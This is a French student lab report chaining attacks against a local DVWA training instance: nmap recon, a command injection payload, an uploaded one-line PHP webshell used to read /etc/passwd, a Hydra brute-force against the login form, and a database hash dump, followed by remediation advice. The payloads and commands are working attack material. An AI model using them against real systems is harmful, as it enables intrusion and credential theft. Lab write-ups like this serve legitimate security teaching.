---
# System prepended metadata

title: Cahier des charges 3

---

# Cahier des charges 3

**Équipe :** Kylian JELIN, Maxime GONZALVEZ, Loris CAPELLI, Valentin LANG  
**Date :** 08/2025  
**Cible pédagogique :** DVWA locale (`http://localhost/dvwa/`) sur WSL/Kali  
**But :** enchaîner plusieurs vulnérabilités (Command Injection → File Upload → Brute‑force/Hydra → Sessions) pour démontrer une **compromission complète** et en tirer des **remédiations concrètes**.

---

## 1) Contexte & mise en place

J’ai travaillé en local (Windows 11 + WSL2 Kali). DVWA tourne derrière **Apache 2.4.63** avec **MariaDB 11.8.1**.  
Je prépare mon dossier de travail et les sous‑dossiers pour les sorties/outils :

```bash
mkdir -p ~/m11-m14/{nmap,poc,screens,notes}
```
  
![image](https://hackmd.io/_uploads/rJOZDnWclx.png)

---

## 2) Recon (Nmap) — “je commence par voir ce qui écoute”

Je lance un scan rapide services/versions sur `127.0.0.1` :

```bash
nmap -sC -sV -oA ~/m11-m14/nmap/enumeration 127.0.0.1
```

**Résultat (résumé) :**
- `80/tcp` → **Apache httpd 2.4.63 (Debian)** → DVWA.  
- `3306/tcp` → **MariaDB 11.8.1** (auth plugin `mysql_native_password`).

Capture (nmap) :  
![image](https://hackmd.io/_uploads/SJg4P2Z9ge.png)

> Ça me confirme que l’appli est bien servie par Apache et que la base est locale. Je note les versions pour la partie remédiations.

---

## 3) Vuln 1 — Command Injection (page *exec*)

Je vais dans **Vulnerability: Command Injection** et je teste d’abord un ping légitime (127.0.0.1). Puis j’essaie une **injection simple** en suffixant une commande :

```
127.0.0.1; id
```

*Sur Low, la page renvoie la sortie de `ping` et je peux insérer `id`.*  
![image](https://hackmd.io/_uploads/HyqBP2b9eg.png)

**Impact :** exécution de commandes systèmes côté serveur (RCE).  
**Idée d’exploit :** si l’upload est filtré ailleurs, je peux aussi écrire un fichier via redirections. Ici je garde la RCE comme preuve d’exécution de commandes.

---

## 4) Vuln 2 — File Upload (webshell) : “je pose un shell”

Je crée un mini webshell PHP et je l’upload via **Vulnerability: File Upload (Low)**.

```php
<?php @system($_GET['cmd']); ?>
```

Upload :
1) Je sélectionne `shell.php`.  
2) DVWA me répond **“.../hackable/uploads/shell.php successfully uploaded!”**

![image](https://hackmd.io/_uploads/rkIqv3b5xg.png)

J’appelle ensuite le shell :

```
http://localhost/dvwa/hackable/uploads/shell.php?cmd=id
```

Je vérifie aussi que je peux lire des fichiers, ex. :

```
http://localhost/dvwa/hackable/uploads/shell.php?cmd=cat+/etc/passwd
```

Captures (`id` + extrait `/etc/passwd`) :  
![image](https://hackmd.io/_uploads/rkLTw2bcgx.png)
![image](https://hackmd.io/_uploads/SyzRDhW9lx.png)
![image](https://hackmd.io/_uploads/SJICP3W5xg.png)
![image](https://hackmd.io/_uploads/r1cCP3W5xg.png)
![image](https://hackmd.io/_uploads/B1xJu2Zqgl.png)

**Impact :** exécution de commandes à la demande + lecture de fichiers → **compromission serveur web**.

---

## 5) Vuln 3 — Brute‑force / Sessions (Hydra) : “je vérifie l’auth DVWA brute force”

### 5.1 Je récupère un **cookie de session valide**
Dans DevTools → *Application → Cookies (http://localhost)*, je copie **PHPSESSID** et je fixe `security=low`.

```bash
COOKIE='PHPSESSID=3f232bd6ce212b8e6ff0c1b037aaaf9a; security=low'
```
![image](https://hackmd.io/_uploads/rJfN_2-5ll.png)


### 5.2 Je vérifie les **réponses** avec `curl` (oracles Succès/Échec)
- **Échec attendu** (mauvais mot de passe) → doit contenir *“Username and/or password incorrect.”* :
```bash
curl -s -H "Cookie: $COOKIE" \
  "http://localhost/dvwa/vulnerabilities/brute/?username=admin&password=wrong&Login=Login" \
| grep -F "Username and/or password incorrect."
```
Capture (échec) :  
![image](https://hackmd.io/_uploads/BJsduhW9lg.png)

- **Succès** (quand le bon mot de passe est testé) → DVWA affiche *“Welcome to the password protected area”* :
```bash
curl -s -H "Cookie: $COOKIE" \
  "http://localhost/dvwa/vulnerabilities/brute/?username=admin&password=password&Login=Login" \
| grep -F "Welcome to the password protected area"
```
Capture (succès) :  
![image](https://hackmd.io/_uploads/Hys5On-5ge.png)

> **Note:** J’utilise ces deux messages comme **oracles** pour caler Hydra.

### 5.3 Je lance **Hydra** (http-get-form) avec mon cookie
Après essais/erreurs, le format qui passe le mieux chez moi :

```bash
hydra -l admin -P /usr/share/wordlists/rockyou.txt 127.0.0.1 http-get-form \
"/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:\
F=Username and/or password incorrect.:S=Welcome to the password protected area:\
H=Cookie: PHPSESSID=<TA_VALEUR>; security=low" -V -I -t 4 -f
```

- `F=` chaîne d’échec (exacte)  
- `S=` chaîne de succès (exacte)  
- `H=` header injecté (mon cookie de session)

**IMPORTANT (pièges que j’ai rencontrés) :**
- Si Hydra répond *“no valid optional parameter type given: F/S”*, c’est souvent un **problème de guillemets/échappement**. J’ai veillé à mettre tout le bloc du module **entre guillemets** et à ne pas casser les `:` internes.
- Le header `H=Cookie: …` doit être **après** les S/F et bien dans la même chaîne.

Capture (Hydra qui déroule ou trouve un pass) :  
![image](...)

> **Bilan brute‑force :** avec un cookie valide et les chaînes **F/S** exactes, Hydra est capable d’identifier le bon mot de passe sur le module *brute* de DVWA (*Low*).

---

## 6) Post‑exploitation courte (DB) : “je jette aussi un œil aux comptes”

Comme la base est locale, j’ai montré une exfiltration de comptes DVWA (selon contexte autorisé) :

```bash
mysql -u dvwa -p -h 127.0.0.1 dvwa -e "SELECT user, password FROM users;"
```

Capture (hashs des utilisateurs DVWA) :  
![image](https://hackmd.io/_uploads/S10Qc3-qel.png)

---

## 7) Chaîne d’attaque récapitulée

1. **Recon** (Nmap) → Apache + MariaDB identifiés.  
2. **Command Injection** (exec) → exécution de commandes (`id`) → preuve de RCE.  
3. **File Upload** → **webshell** opérationnel (`system($_GET['cmd'])`) → lecture `/etc/passwd`.  
4. **Brute‑force/Hydra** → *oracles* via `curl` + cookie de session → Hydra configurée correctement (F/S/H) → découverte possible d’un mot de passe faible.  
5. **Post‑exploitation** → lecture d’infos utilisateurs (hashs) côté DB (si autorisé).

---

## 8) Remédiations (pratiques et concrètes)

### Command Injection
- Ne **jamais** concaténer des entrées utilisateurs dans des appels systèmes.  
- Si un appel est indispensable : **whitelist** stricte + `escapeshellcmd/escapeshellarg`, exécution via API internes plutôt que via `/bin/sh`.

### File Upload
- **Bloquer les scripts** côté serveur : pas d’exécution dans le répertoire d’upload (`/uploads` servi en **statique**), extension whitelist (`.jpg/.png`), vérif **MIME** & **magic bytes**.  
- Renommer (UUID), **désactiver PHP** sur ce répertoire, déplacer en stockage hors‑webroot.  
- Antivirus/ClamAV + quotas + logs & alerting.

### Brute‑force / Authentification
- **Rate‑limit** + **cooldown** + **CAPTCHA** après N échecs.  
- Verrouillage de compte temporaire, notifications.  
- **MFA** pour les comptes admin.  
- Cookies **HttpOnly** + **Secure** + `SameSite=Lax/Strict`, rotation régulière de session.

### Base de données
- Comptes **least‑privilege**, chiffrement au repos, rotation des secrets.  
- Journalisation et corrélation des accès anormaux.

### Durcissement général
- Mises à jour régulières (Apache/PHP), **CSP** stricte, `X-Content-Type-Options: nosniff`, `X-Frame-Options: DENY`.  
- Segmentation réseau / supervision / détections (IDS/WAF).
